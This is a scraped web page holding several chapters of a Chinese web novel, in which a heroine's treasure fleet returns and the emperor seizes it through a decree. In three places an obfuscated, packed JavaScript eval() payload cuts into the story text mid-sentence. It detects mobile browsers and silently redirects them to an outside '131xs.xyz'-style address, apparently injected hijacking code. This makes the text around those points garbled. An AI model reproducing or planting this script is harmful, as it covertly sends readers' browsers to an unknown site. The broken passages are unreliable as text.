他听到的,是“不成功,便成仁”的悲壮誓言! 这一刻,他对她的情感,不再仅仅是对于“同盟”的敬佩与欣赏。一种更复杂、更炽热的情愫,悄然滋生。那是一种源于灵魂深处的共鸣,一种对同类人的、难以言喻的怜惜与倾慕。 他看着她那双在月光下亮得惊人的眸子,第一次,有了想要将她拥入怀中,替她分担那份沉重使命的冲动。 但他最终只是伸出手,轻轻地、替她将一缕被海风吹乱的碎发,拨至耳后。 “别怕,”他的声音,前所未有的温柔,“有我。” 简单的两个字,却仿佛拥有千钧之力。 崔云姝的心,在这一刻,漏跳了一拍。她看着他近在咫尺的、写满了认真的脸,第一次,感到了脸颊有些发烫。 两人的心,在这一刻,似乎靠得前所未有的近 。 【次日,清晨】 当第一缕金色的晨曦,刺破海平面上的薄雾时,整个海湾,都苏醒了。 在众人的期盼与瞩目中,在鲁大师那饱含着热泪的注视下,“鲲鹏号”那如同巨翼般的硬帆,被缓缓升起,在晨风中,发出“呼啦啦”的巨响! 船锚被拉起,沉重的铁链发出“哗啦啦”的声响,惊起一群海鸥,盘旋而上。 “启航——!” 船长站在高高的船楼之上,发出一声嘹亮的、充满了豪情的呐喊。 庞大的船身,开始缓缓地、坚定地,驶离港湾,向着那片一望无际的、蔚蓝的深海,破浪而去! 崔云姝站在海边的悬崖之上,与母亲宋氏、与唐璞并肩而立。海风吹拂着她的长发,吹动着她的衣袂,她一动不动,只是静静地、痴痴地,望着那艘承载了她所有希望的巨舰。 她看着它,乘着风,破开一道道白色的浪花。 她看着它,越来越远,越来越小,最终,化作海天尽头的一个小小的黑点,彻底消失在了那片耀眼的、充满了无限可能的深蓝之中 。 心中,百感交集 。 这是她为全家准备的诺亚方舟 。 是她对抗那既定命运,发出的第一声不甘的怒吼。 也是她,崔云姝,在这个陌生的时代,留下的第一个、真正属于她自己的、无可磨灭的印记。 逐梦深蓝,自此,启航。 28.第 28 章 时光荏苒,如白驹过隙。 自“鲲鹏号”扬帆远航之后,半年光阴,悄然而逝。京城在经历了秋的萧瑟与冬的严寒之后,又迎来了春的复苏。崔云姝的商业帝国,在唐璞这位“盟友”的暗中庇护下,稳步扩张,日进斗金。然而,她的心,却始终有一半,牵挂在那片浩瀚无垠的蔚蓝深海之上。 她不知道,她那艘承载了所有希望的“诺亚方舟”,此刻正漂泊在何方,又是否安然无恙。 就在京城百花初绽,春意正浓之时,一个足以震动整个大秦的消息,如同惊蛰的第一声春雷,从遥远的东海之滨,以八百里加急的速度,传回了京城—— “鲲鹏号”,回来了! 【京城,通州码头】 通州码头,作为京杭大运河的北端终点,向来是京城最繁忙、最喧嚣的地方。南来北往的漕船、商船在此汇聚,樯橹如林,帆影蔽日。 然而今日,这份喧嚣,却被一种前所未有的、近乎狂热的骚动所取代。 数以万计的百姓,自发地从京城各处涌来,将码头围得是水泄不通。他们伸长了脖子,翘首以盼,每个人的脸上,都写满了好奇、激动与难以置信。 因为,他们今日要迎接的,不是寻常的漕船,而是一艘传说中的“海上神舟”——鲲鹏号! “来了!来了!” 不知是谁在人群中高喊了一声,瞬间,所有人的目光都投向了运河的尽头。 只见一艘庞然大物,在数艘官府巡船的护卫下,正缓缓地、以一种无可匹敌的王者姿态,驶入港口。 当它那庞大而优美的船身,完整地出现在众人眼前时,整个码头,都陷入了一片死一般的寂静,紧接着,便爆发出山呼海啸般的惊叹与喝彩! “天哪!这……这是船吗?这简直是一座会移动的山!” “太大了!比咱们见过的所有福船、沙船加起来还要大!” “这就是冰雪郡主造的宝船吗?难怪能远航万里,当真是神迹啊!” 崔云姝站在码头最高处的望楼之上,与母亲宋氏、父亲崔温,以及闻讯赶来的唐璞并肩而立。她看着下方那黑压压的人群,看着那艘历经了半年风浪、却依旧雄伟如初的“鲲鹏号”,心中百感交集,眼眶竟是不由自主地湿润了。 它回来了。 她的希望,平安地回来了。 当“鲲鹏号”稳稳地靠岸,巨大的船板搭在码头上时,船长带着一群肤色黝黑、眼神却异常明亮的船员们,大步走了下来。他们虽然衣衫上带着海风的咸味,脸上写满了疲惫,但每个人的腰杆都挺得笔直,那份征服了惊涛骇浪的自信与豪情,溢于言表。 “属下,幸不辱命!”船长走到崔云姝面前,单膝跪地,声音洪亮如钟。 “平安回来就好。”崔云姝亲自上前,将他扶起,声音里带着一丝不易察觉的颤抖。 紧接着,真正让所有人为之疯狂的时刻,到来了。 一个个沉甸甸的、散发着异域气息的大木箱,被船员们从船舱里源源不断地抬了出来。 当第一个箱子被打开时,耀眼夺目的金光,几乎刺痛了所有人的眼睛!满满一箱,竟全是大小不一、形状各异的天然金块! “黄金!是金山!”人群彻底沸腾了。 而这,仅仅是个开始。 第二箱,是光彩夺目的各色宝石,红的、蓝的、绿的,每一颗都比鸽子蛋还要大,在阳光下闪烁着迷人的光彩。 第三箱,是珍稀无比的龙涎香、檀香、沉香……那浓郁而奇异的香气,瞬间弥漫了整个码头,闻之令人心旷神怡。 一箱,又一箱…… 价值连城的香料、宝石、黄金、珍稀木材……这些只存在于传说中的、来自海外秘境的财富,就这样被毫不遮掩地、如山一般地堆积在了码头之上,给在场的所有人,带来了前所未有的、最直接的视觉冲击 [1]。 “发了!崔家这次,是真的发了!” “何止是发了!这……这简直是把一座金山给搬回来了啊!” 父亲崔温看着眼前那堆积如山的财富,激动得浑身发抖,一张老脸涨得通红。而母亲宋氏,则紧紧地握着女儿的手,眼中满是骄傲的泪水。 唐璞站在一旁,看着眼前这震撼人心的一幕,心中亦是波涛汹涌。在他眼中,这些,不仅仅是财富。这些,是粮草,是军饷,是足以支撑他们“大业”启动的、最坚实的物质基础!他看着身旁那个神情平静的少女,心中的敬佩与倾慕,已然达到了顶峰。 然而,对于崔云姝而言,这些金银珠宝,却并非此次航行最大的收获。 她真正看重的,是船长最后呈上的几样东西。 第一件,是一卷厚厚的、经过防水处理的全新航海图。上面,用朱砂笔清晰地标注出了一条全新的、通往东方未知大陆的安全航线,以及沿途数十个可以停靠补给的岛屿 。 第二件,是几大袋看起来毫不起眼的、奇形怪状的植物种子。 “郡主,”船长指着其中一袋表皮呈黄褐色、坑坑洼洼的块茎,兴奋地说道,“此物,乃是我等在一处名为‘美洲’的大陆上发现。当地土人称之为‘土豆’,可蒸可煮,可烤可食,味道极佳。最重要的是……其产量之高,简直匪夷所思!一亩地产出,可达数千斤,足以养活十数口人!” 他又指向另一袋金黄色的颗粒状种子:“此物,名为‘玉米’,同样是高产作物,且耐旱耐瘠,在任何贫瘠的土地上都能生长!” 土豆!玉米! 崔云姝的心脏,狂跳起来! 这,才是她真正想要的“黄金”!是足以改变这个时代,足以让天下千千万万百姓免于饥饿的……祥瑞! 【崔府,清姝院】 “鲲鹏号”满载而归的消息,如同一场十二级的飓风,在一日之内,席卷了整个京城,震动了朝野。 崔云姝,这个年仅十四岁的“冰雪郡主”,一夜之间,从一个商业奇才,一个“大秦女首富”,变成了一个近乎于神话的传奇人物 。 她没有被这泼天的富贵与声望冲昏头脑。她冷静地将船队带回的大部分利润,投入到了更大规模的船队建设与商业扩张之中,开始了新一轮的再生产。 同时,她做出了一个足以让崔家声望达到顶峰的决定——她将那些珍贵无比的高产作物种子,分出了一大半,连同详尽的种植方法,亲自送入了东宫,献给了太子唐景承 。 “殿下,”她对着太子,不卑不亢地说道,“此等祥瑞,乃上天庇佑我大秦。云姝不敢私藏,特献予殿下。若能由东宫出面,在京郊皇家农庄试种推广,一旦成功,必将是泽被万民、功在千秋的大功德。届时,天下百姓,都会感念殿下的仁德。” 太子看着眼前这些不起眼的种子,听着崔云姝那番充满了远见卓识的话,心中对这位未来的小姨子,已是佩服得五体投地。他知道,崔云姝此举,不仅是献上了祥瑞,更是将一份天大的功劳,送到了他的手上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另一个臣子,则手握着京畿最精锐的兵权。 而如今,这两股力量,似乎有了合流的迹象。 更可怕的是,他们还拥有一支凭空出现的、战力不明的、随时可以纵横四海的私人船队! 这是任何一个帝王,都绝对无法容忍的事情! “陛下明鉴!”崔温吓得当即跪下,声音都在发颤,“小女年幼无知,行事孟浪,若有出格之处,皆是臣教导无方之过!还请陛下降罪!” “崔爱卿何出此言?令媛乃我大秦的‘冰雪郡主’,是为我大秦开疆拓土、献上祥瑞的功臣,何罪之有啊?”皇帝笑着将他扶起,语气温和得像是在安抚一个受了委屈的臣子。 可他越是如此,崔温的心,便越是沉入谷底。 帝王之怒,并不可怕。可怕的,是帝王那深不见底的、充满了猜忌与算计的“恩宠”。 从紫宸殿出来时,崔温的后背,早已被冷汗湿透。他与同样面色凝重的安郡王唐啸对视一眼,都在对方眼中,看到了一丝深深的忧虑与恐惧。 当晚,崔温回到府中,将自己关在书房,一夜未出。 第二日,他将崔云姝和宋氏叫到书房,将昨日在宫中的对话,一字不漏地复述了一遍。 “……阿娘当年说得对,”崔温的声音里,充满了前所未有的疲惫与悔意,他看着自己的女儿,眼神复杂,“我们崔家……怕是已经走到了功高震主的危险边缘了。” 他敏锐地察觉到,圣眷那温暖的阳光,正在悄然散去。取而代之的,是来自皇权顶端,那片挥之不去的、冰冷的阴云。 29.第 29 章 自那日父亲崔温从宫中回来,将皇帝那番敲打之言转述之后,崔府上空便始终笼罩着一层看不见的、压抑的阴云。曾经因“鲲鹏号”满载而归所带来的喜庆与喧嚣,都仿佛被这股无形的压力,悄无声息地吞噬了。 崔云姝知道,暴风雨,就要来了 。 她只是没有想到,这场由天子亲自掀起的风暴,会来得如此之快,如此之猛烈,又……如此地冠冕堂皇。 三日后,皇帝以“表彰开海之功,嘉奖献瑞之臣”为名,于太极殿召开了一场极其隆重的大朝会 。 这一日,天光大好。 崔云姝身着一袭繁复华美的郡主朝服,跪坐在女眷席的最前列。她身后,是京中所有一品至三品的诰命夫人,她们的目光,或羡慕,或嫉妒,或敬畏,都若有若无地聚焦在她这个年仅十四岁、却已是满身荣光的少女身上。 大殿之内,庄严肃穆。文武百官身着各自品阶的朝服,分列两侧,神情肃然。太子唐景承、二皇子唐景明,以及安郡王府的小王爷唐璞,皆位列其中。 崔云姝低垂着眼帘,看着面前光可鉴人的金砖地面,心中却是一片冰冷的平静。她知道,今日这场看似为了表彰她而设的朝会,绝不会是简单的恩赏。这更像是一场鸿门宴,是那位高居龙椅之上的九五之尊,为她、为崔家,精心准备的一场盛大的“捧杀”。 果然,在经过了一系列繁琐的礼仪之后,司礼太监那尖细而又洪亮的嗓音,响彻了整个太极殿。 “宣——安平郡主崔氏云姝,上殿觐见!” 在满朝文武的注视下,崔云姝缓缓起身,整理了一下裙摆,迈着沉稳而又不失礼仪的步伐,一步一步地,走上了那高高的御阶,走到了大殿的中央。 “臣女崔云姝,叩见陛下,吾皇万岁万岁万万岁。”她行三跪九叩大礼,动作标准无瑕,声音清脆如玉石相击。 “平身,赐座。”龙椅之上,皇帝的声音里充满了笑意,显得格外温和。 太监立刻搬来一张华美的绣墩。 “谢陛下天恩。” 崔云姝落座后,皇帝便开始了他那场早已准备好的、充满了溢美之词的褒奖 。 “朕今日召集百官,便是要当着天下人的面,好好地褒奖我大秦的这位奇女子!”皇帝的声音洪亮而有力,充满了帝王的威严与……不容置疑的“恩宠” 。 “安平郡主崔云姝,以一介女流之身,不畏艰险,开拓海疆,为我大秦带回了无尽的财富,此乃富国之功!” “她献上祥瑞,将那亩产数千斤的高产作物种子公之于众,使我大秦万千黎民,从此可免于饥馑之苦,此乃利民之功!” “有此两大功绩,当为我大秦所有臣民之表率!” 皇帝的声音在庄严的大殿内回荡,每一个字,都像一顶顶华丽的高帽,被稳稳地扣在了崔云姝的头上。赏赐的圣旨,更是一道接着一道。 “……赏安平郡主黄金万两,南海明珠百颗,东海珊瑚树十株……” “……赐安平郡主京郊御赐庄园一座,良田千亩……” 赏赐之丰厚,恩宠之隆重,让在场的所有官员都为之侧目,便是二皇子唐景明,也不得不压下眼中的嫉妒与不甘,挤出一副与有荣焉的笑脸。 崔云姝一次又一次地起身、跪拜、谢恩,脸上是恰到好处的受宠若惊与感激涕零。然而,她的心,却随着那一声声的“赏”,一点一点地沉了下去。 她知道,捧得越高,摔得越重。皇帝给的这些“甜头”,不过是为了让他接下来要亮出的那把刀,显得不那么冰冷刺骨罢了。 在一片歌功颂德、山呼万岁的声音渐渐平息之后,皇帝终于话锋一转,切入了今日真正的正题 。 “诸位爱卿,”他抬了抬手,示意众人安静,脸上依旧是那副和煦的笑容,“‘鲲鹏号’的成功,为我们打开了一扇通往新世界的大门。它让我们知道,在那片蔚蓝的深海之外,还有着无尽的疆土与数不尽的宝藏。” “如此伟大的事业,如此关乎国运兴衰的宏图,若只由安平郡主一人,由崔氏一族承担,未免太过辛苦,也太过……屈才了。” 来了! 崔云姝的心脏猛地一缩,攥紧了藏在袖中的手。 “朕思虑良久,”皇帝的声音,在这一刻,变得无比庄重而威严,“为更好地管理海贸,为更有效地开拓海疆,为让我大秦的天威,能够播撒到四海八荒的每一个角落,朕决定……效仿前朝,于京中设立‘大秦市舶司’!” “由市舶司,统管我大秦所有出海贸易、船队建造、航路勘探等一切相关事宜!” 此言一出,朝堂之上,顿时响起一片低低的议论声。设立市舶司,将海外贸易收归国有,这无疑是一项加强中央集权、充盈国库的英明之举。从道理上讲,无人能够反驳。 父亲崔温的脸色,在这一刻,变得煞白。他知道,皇帝的刀,终于落下来了。 “陛下圣明!”以二皇子为首的一派官员,立刻出列附和,脸上是掩饰不住的幸灾乐祸。 而太子唐景承,则微微蹙起了眉头。他虽然也认同设立市舶司是利国之举,但心中却隐隐感到了一丝不安。 不等众人反应过来,皇帝便抛出了他的第二个、也是更致命的决定。 “朕以为,崔氏‘鲲鹏号’,乃当世第一宝船,理应为国之重器,为我大秦海军之表率。”他看着崔云姝,目光温和,说出的话却不容置疑,“因此,朕决定,将‘鲲鹏号’及崔氏正在建造的所有船只,尽数纳入市舶司麾下,作为我大秦‘皇家船队’之骨干!” 他顿了顿,补充道:“当然,朕也不会让崔家吃亏。船队所有权虽归国有,但崔家仍可享其三成红利,以彰其献船之功。崔爱卿,安平郡主,你们……意下如何啊?” 他问的是“意下如何”,可那语气,那眼神,分明就是在说“朕意已决,尔等安敢不从?” 这是阳谋。是当着满朝文武的面,用“国家大义”这顶最重的帽子,逼着你将自己最核心的资产,“心甘情愿”地交出来 。 崔温的身体晃了晃,几乎要站立不稳。他张了张嘴,却一个字也说不出来。他能说什么?说不愿意?那便是与国争利,是心怀不轨! 最终,还是崔云姝,站了出来。她再次跪倒在地,声音里听不出任何情绪:“臣女……遵旨。能为大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435663|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦,为陛下尽一份绵薄之力,是臣女与崔家的荣幸。” “好!好一个深明大义的安平郡主!”皇帝满意地大笑起来。 紧接着,他便开始宣布市舶司的人事任命。 “朕任命,礼部尚书钱谦,为市舶司提举,总领其事!” 钱谦,一个年近古稀、思想保守、出了名的只求无过不求有功的老臣,最重要的是,他是皇帝最忠心的一条老狗 。让他来总领市舶司,无异于给这艘即将远航的巨轮,上了一把最沉重的铁锁。 然而,这还不是结束。 在任命了提举之后,皇帝的目光,又落在了崔元珏和唐璞的身上,脸上露出了狐狸般的、和蔼的笑容。 “市舶司初创,百废待兴,钱爱卿年事已高,还需有得力的年轻人辅佐才是。”他缓缓说道,“东宫伴读崔元珏,才思敏捷,于漕运一案中表现卓著;安郡王府小王爷唐璞,智勇双全,于整顿海防、清剿倭寇中,亦立下大功。” “朕今日,便‘恩赏’你二人,同任市舶司副使,辅佐钱爱卿,共同为我大秦,开创这万国来朝的盛世!” 此旨一出,唐璞的脸色,瞬间沉了下来。 而崔云姝,则彻底坠入了冰窖。 她明白了。 她全都明白了! 皇帝此举,是一箭三雕! 他不仅将她的船队收归国有,更是将她的兄长,将她最重要的盟友,全都打包塞进了这个由他亲信掌控的、全新的权力机构之中! 这哪里是恩赏?这分明是监视!是分权!是将他们所有人,都牢牢地绑在他的战车之上,让他们互相牵制,互相消耗,再也无法形成一股能让他感到威胁的合力! 好一招“甜蜜的枷锁”! “臣(臣女)……领旨谢恩!” 崔云姝深深地叩首,将自己的脸,埋在了冰冷坚硬的金砖地面之上。她的心中,一片冰凉 。 她千辛万苦、耗费了无数心血与财富打造的“诺亚方舟”,就在这一日,就在这满朝文武的见证下,就在这一片歌功颂德的虚伪氛围中,被套上了最沉重、最无法挣脱的皇家枷锁 。 她的跑路计划,在即将成功的黎明前,被釜底抽薪,彻底击碎! 她非但没能远离这个权力的漩涡,反而被一股更强大的力量,硬生生地,拖拽到了漩涡的最中心! 当她缓缓抬起头时,她的目光,跨越了整个大殿,与同样面色凝重的唐璞,在空中交汇 。 她从他的眼中,看到了与她如出一辙的震惊、不甘,与……深深的凝重 。 只是,崔云姝心中苦涩地想道,他们凝重的理由,怕是截然不同。 她为自己精心准备的“跑路计划”一朝破产,为家族被拖入更深的泥潭而凝重 。 而他…… 想必是在为他们那场尚未开始便已遭受重创的“谋反大业”,为他们那支刚刚成型便被皇帝用阳谋夺去的“核心力量”,而感到凝重吧 。 前路,在这一瞬间,变得比以往任何时候,都更加扑朔迷离,危机四伏。 一场针对崔家的、由天子亲自布下的棋局,已然,悄然展开。 30.第 30 章 崔云姝觉得自己的心跳,终于和算盘珠子拨动的声音,达成了某种诡异的同步。 啪。 又一笔利润入账。 啪。 又一箱货物清点完毕。 啪。 离自由又近了一步。 书房里弥漫着新墨和旧书卷混合的气味,还有从南海运回来的、不知名的香料,被她随意地放在角落的熏炉里,懒得点燃,就那么散发着一股干燥而遥远的、带着阳光和咸涩海风的芬芳。这种味道让她心安。 这是她的世界。 一个由账本,数字,航海图和商业计划构成的,绝对安全的,可以被她完全掌控的世界。 鲲鹏号带回来的利润远超预期。每一颗宝石,每一袋香料,都在她眼中幻化成更坚固的船板,更广阔的船帆,更锋利的撞角。她铺开一张巨大的海图,手指在上面轻轻划过,从大秦的海岸线,一路向东,再向南……指尖下的触感是粗糙的羊皮纸,但她感觉自己仿佛触摸到了冰凉、湿润的海水。 再来两次。 不,只要再有一次这样成功的远航,她就能组建起一支足够庞大的船队。不是为了给谁运货,不是为了给谁赚钱。只为了在一个谁也无法预料的时刻,载着崔家所有的人,所有的金银,所有的希望,驶向这片海图上还没有名字的未知之地。 去一个没有皇帝,没有太子,没有那本该死的书的地方。 她太喜欢这种感觉了。 一种将命运的丝线一根根从别人手里夺过来,然后亲手编织成自己想要的模样的掌控感。 外面的喧嚣已经散去,庆祝鲲鹏号归来的宾客们早已离开,崔府恢复了一种疲惫的宁静。但崔云姝知道,这只是暴风雨来临前,那短暂得令人窒息的平静。皇帝的敲打迟早会来,那只高高在上的手,绝不会容许任何东西脱离他的掌心。 她只是没想到。 会这么快。 而且是以一种她从未设想过的,最温柔,也最残忍的方式。 …… 书房的门被猛地撞开。 不是推开,是撞开的。 带着一股子惶急和绝望的气息,像是一阵冰冷的风,瞬间吹散了满室的安宁和香料的芬芳。 是管家,他连滚带爬地冲进来,脸上没有一丝血色,嘴唇哆嗦着,连一句完整的话都说不出来。 “小……小姐……宫……宫里……来人了……” 崔云姝的心脏漏跳了一拍,就是算盘珠子拨错了位的那种感觉。紧接着,一种冰冷的、黏腻的预感,像毒蛇一样顺着她的脊椎爬了上来。 她放下手里的狼毫笔,墨汁在宣纸上晕开一个丑陋的黑点,像一只不祥的眼睛。 她站起身,走出书房。 整个崔府的天都变了颜色。 刚刚还只是喧嚣后的疲惫,此刻却被一种沉重的、几乎能压垮人脊梁的死寂所笼罩。府中所有的下人、护院,都像是被施了定身法一样,僵在原地,脸上是同一种惊恐和茫然。 庭院里站着一队人。 为首的是个太监,面白无须,眼角吊着,手里捧着一卷明黄的丝绸。他身上的衣服料子极好,在午后的阳光下泛着幽暗的光,那股子从宫里带出来的、混合着名贵香料和陈腐气息的味道,霸道地驱散了庭院里所有的花香。 阵仗极大。 崔云姝的目光越过他,看到了她的父亲崔温,母亲宋氏,还有府里的几位族老,全都跪在地上。 父亲的背,不再像往日那般挺拔,而是微微地塌了下去,像一座被风雨侵蚀了千年的石像。母亲跪在他身边,身体绷得像一张拉满的弓,那双总是温柔含笑的眼睛里,此刻只有愤怒和不安。 崔云姝的脚步停了下来。 她没有上前,只是静静地站在人群的最后面,站在廊柱的阴影里。 她知道,戏肉来了。 那传旨太监清了清嗓子,尖细的声音像是用指甲划过玻璃,刺得人耳膜生疼。 “圣旨到——!崔温接旨——!” 崔温的身体猛地一颤,将头埋得更低了。 “臣,崔温,接旨。” 声音嘶哑,像是从喉咙里硬挤出来的。 太监满意地瞥了一眼跪了一地的人,缓缓展开了那卷明黄的丝绸,用一种抑扬顿挫的、仿佛在唱戏般的腔调,高声宣读起来。 “奉天承运皇帝,诏曰:” 圣旨的开头,是毫无新意的褒奖。 洋洋洒洒,辞藻华丽,极尽赞美之词。 称赞崔家远航之功,前无古人,为大秦开拓海疆,扬我国威。 称赞崔家商船“鲲鹏号”,乃国之重器,乘风破浪,功在社稷。 称赞崔温教子有方,忠心可嘉,为天下臣子之表率…… 崔云姝听着这些话,面无表情,心里却在冷笑。 糖衣。 好甜的糖衣。 她看到父亲的肩膀似乎微微放松了一些,母亲脸上的怒意也化开了一丝,变成了困惑。 只有她知道,这糖衣下面,裹着的是什么。 是砒霜。 是能要了整个崔家性命的,剧毒的砒霜。 果然。 赞赏之后,话锋陡然一转。 “……然,海疆万里,波诡云谲,倭寇海匪,时有侵扰。朕,宵衣旰食,念兹在兹。崔氏一族,虽有商船之利,然单打独斗,终非长久之计。为固我大秦海防,为扬我天朝国威,朕决意,成立‘皇家船运司’!” 来了。 崔云姝的瞳孔骤然收缩。 那太监的声音陡然拔高,带着一种不容置疑的威严。 “……统管天下海运,以彰皇恩浩荡!崔氏‘鲲鹏号’及麾下船队,皆为国之利器,理应收归国有,由‘皇家船运司’统一调配管理,以竟全功!此乃倚重,亦是信赖!朕,念崔家献船有功,特恩准崔家,保留船运司三成之利,以作回报!” 轰—— 崔云姝感觉自己的脑子里,有什么东西炸开了。 不是愤怒,不是震惊。 是一种被巨石迎面击碎的,纯粹的,物理性的痛感。 收归国有。 三成利润。 多么冠冕堂皇的理由,多么轻描淡写的掠夺! 那不是一艘船,那是她的命!是她用三年的心血,用无数个不眠的夜晚,用一笔一笔的银子,用一个一个的计划,堆砌起来的逃生之路! 皇帝,就用这么一道轻飘飘的圣旨,把它夺走了。 不,不是夺走。 是“恩准”他们献上来。 还要他们感恩戴德地,只拿回属于他们自己的东西的,可怜的三成。 这还没完。 那太监尖锐的声音还在继续,像一把淬了毒的刀子,一刀一刀地,凌迟着崔家所有人的神经。 “……崔温教子有方,忠君体国,朕心甚慰。特加封崔温为工部荣誉侍郎,食三品俸,专职督造皇家西苑。望尔恪尽职守,为朕分忧,钦此——!” 工部荣誉侍郎。 督造皇家园林。 一个没有半点实权,只能在京城里陪着皇帝修花园的虚职。 崔云姝笑了。 在心里,笑得眼泪都快出来了。 狠。 真他妈的狠啊。 釜底抽薪,断其财路。 金笼锁鸟,断其自由。 这道圣旨,不是在赏赐,也不是在敲打。 这是在杀人。 用最甜蜜的刀,诛最绝望的心。 “崔侍郎,接旨吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444778|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那太监合上了圣旨,居高临下地看着崔温,嘴角勾起一抹虚伪而傲慢的笑意。 整个崔府正堂,陷入了一片死寂。 落针可闻。 崔云姝能清晰地听到自己胸腔里,那颗已经不再与算盘珠子同步的心脏,在疯狂地、杂乱无章地跳动。 她看到父亲崔温缓缓地抬起头,那张保养得宜的脸上,此刻已经找不到一丝血色,灰败得像是风干的树皮。他的嘴唇动了动,却发不出任何声音。那双眼睛里,曾经的疲惫和悔意,此刻全都被一种巨大的、灭顶的绝望所吞噬。 她看到母亲宋氏,浑身都在发抖。不是因为害怕,而是因为极致的愤怒。她的指甲深深地掐进了掌心,眼睛死死地盯着那传旨太监,像一只要扑上去咬断敌人喉咙的母兽。 接旨? 怎么接? 接了,就意味着崔家耗费了数代心血、如今更是崔云姝唯一生路的船队,就这么拱手让人。意味着她父亲将被彻底架空,困死在京城这个华丽的牢笼里。意味着崔家从此以后,就是皇帝砧板上的一块肉,想什么时候切,就什么时候切。 抗旨? 那更简单。 谋逆大罪,满门抄斩。 这是一个死局。 一个用皇权织就的,天衣无缝的,让你连挣扎的余地都没有的死局。 退无可退。 避无可避。 崔云姝站在廊柱的阴影里,周身的血液仿佛都在一瞬间冻结了。午后的阳光明明很暖,照在她身上,却感觉不到一丝温度。 她终于明白了。 皇帝要的,从来不是什么船队,也不是什么海外的奇珍异宝。 他要的,是崔家的屈服。是她崔云姝的屈服。 他早就看穿了她所有的小动作,看穿了她那颗不甘于被囚禁的心。他就像一个高高在上的猎人,饶有兴致地看着她这只金丝雀,在笼子里上蹿下跳,努力地想要啄开那道门。 他看着她积攒财富,看着她建立人脉,看着她以为自己离自由越来越近。 然后,就在她自以为胜券在握的时候,他轻描淡写地,降下了这最后通牒。 他不是要杀死她。 他是要告诉她:你的命,你的自由,你的一切,都在我的手里。我想给你,你才能有。我不想给,你连做梦的资格都没有。 懒得想了。 所有的计划,所有的准备,在绝对的权力面前,都像一个笑话。 那太监等得有些不耐烦了,脸上的笑意淡去,声音里透出一丝阴冷:“崔侍郎?陛下还等着您谢恩呢。” 崔温的身体又是一震,像是被人从噩梦中惊醒。他缓缓地,用一种近乎痉挛的姿势,伸出了颤抖的双手。 崔云姝的指甲,在这一刻,也深深地刺入了掌心。 尖锐的疼痛让她瞬间清醒过来。 不。 不能就这么认了。 如果连反抗的念头都没有,那就真的死了。 她看着父亲那双准备接过圣旨的手,看着母亲那双喷火的眼睛,看着那太监小人得志的嘴脸。 一股冰冷的、带着毁灭气息的火焰,从她的心底最深处,猛地窜了上来。 那不是平日里伪装的温顺,也不是算计时的冷静。 那是一种被逼到绝境后,野兽般的,最原始的本能。 你想把我关回笼子里? 你想让我认命? 你以为这就结束了? 崔云姝站在阴影里,脸上依旧没有什么表情,但那双漆黑的眸子里,却亮起了一丝骇人的、冰冷的光。 她看着那卷明黄的圣旨,就像看着一个死物。 游戏,还没结束。 你设下了你的棋局,那么,接下来…… 该我落子了。 31.第 31 章 传旨的太监走了。 那股子属于宫里的,甜腻又腐朽的味道,却像是附骨之疽,死死地盘踞在崔府的每一寸空气里,怎么也散不掉。 庭院里跪着的人,还跪着。 像是被抽走了魂魄的泥塑,一动不动。 直到一声压抑不住的,几乎撕裂了喉咙的呜咽响起,才像一滴水落入滚油,瞬间炸开了锅。 是母亲宋氏。 她被人扶起来,身体却软得像一滩烂泥,如果不是两个丫鬟死死架着,她恐怕已经瘫倒在地。她的脸上没有眼泪,只有一片灰败的,烧尽了所有希望的死寂。 父亲崔温,被管家搀扶着,踉踉跄跄地站起来。他比母亲更不堪,整个人仿佛瞬间老了二十岁,那挺拔了一辈子的脊梁,此刻弯成了一张可悲的弓。 “完了……” 他喃喃自语,声音轻得像一阵风,却又重得像一块巨石,砸在每个崔家人的心上。 “全完了……” 崔云姝没有动。 她依然站在那根廊柱的阴影里,像一个局外人,冷眼看着眼前这幅末日般的景象。 她能闻到空气中绝望的味道。 是一种混合着尘土、泪水和恐惧的,酸涩的气息。 她能听到人们心脏破碎的声音。 不是比喻。 是真实的,能让耳膜感到刺痛的,此起彼伏的抽泣和倒吸冷气的声音。 她甚至能尝到自己嘴里的血腥味,是刚才指甲刺破掌心时留下的。铁锈一样的味道,让她保持着最后一丝清醒。 懒得看了。 这种集体性的崩溃,她作为心理咨询师的时候见过太多次。毫无用处,只会加速沉沦。 “都退下。” 她的声音不大,甚至有些沙哑,却像一把冰冷的刀子,瞬间划破了这片粘稠的悲伤。 所有人的哭声和动作,都为之一滞。 他们齐刷刷地转过头,用一种见了鬼似的眼神看着她。 看着这个从头到尾都一言不发,此刻脸上也看不出半分悲喜的四小姐。 “把父亲母亲扶回书房。”崔云姝没有理会那些目光,只是又重复了一遍,语气里多了一丝不容置疑的命令,“其他人,各回各位,该做什么,还做什么。天,塌不下来。” 没人敢违抗。 或许是她此刻的镇定太过骇人,又或许是在这灭顶的绝望中,人们本能地需要抓住一根救命稻草,哪怕这根稻草看起来如此纤细,如此不真实。 …… 书房的门,被重重地关上。 隔绝了外面所有的声音。 一关上门,崔温再也支撑不住,整个人颓然坐倒在椅子里,双手抱着头,发出困兽般的低吼。 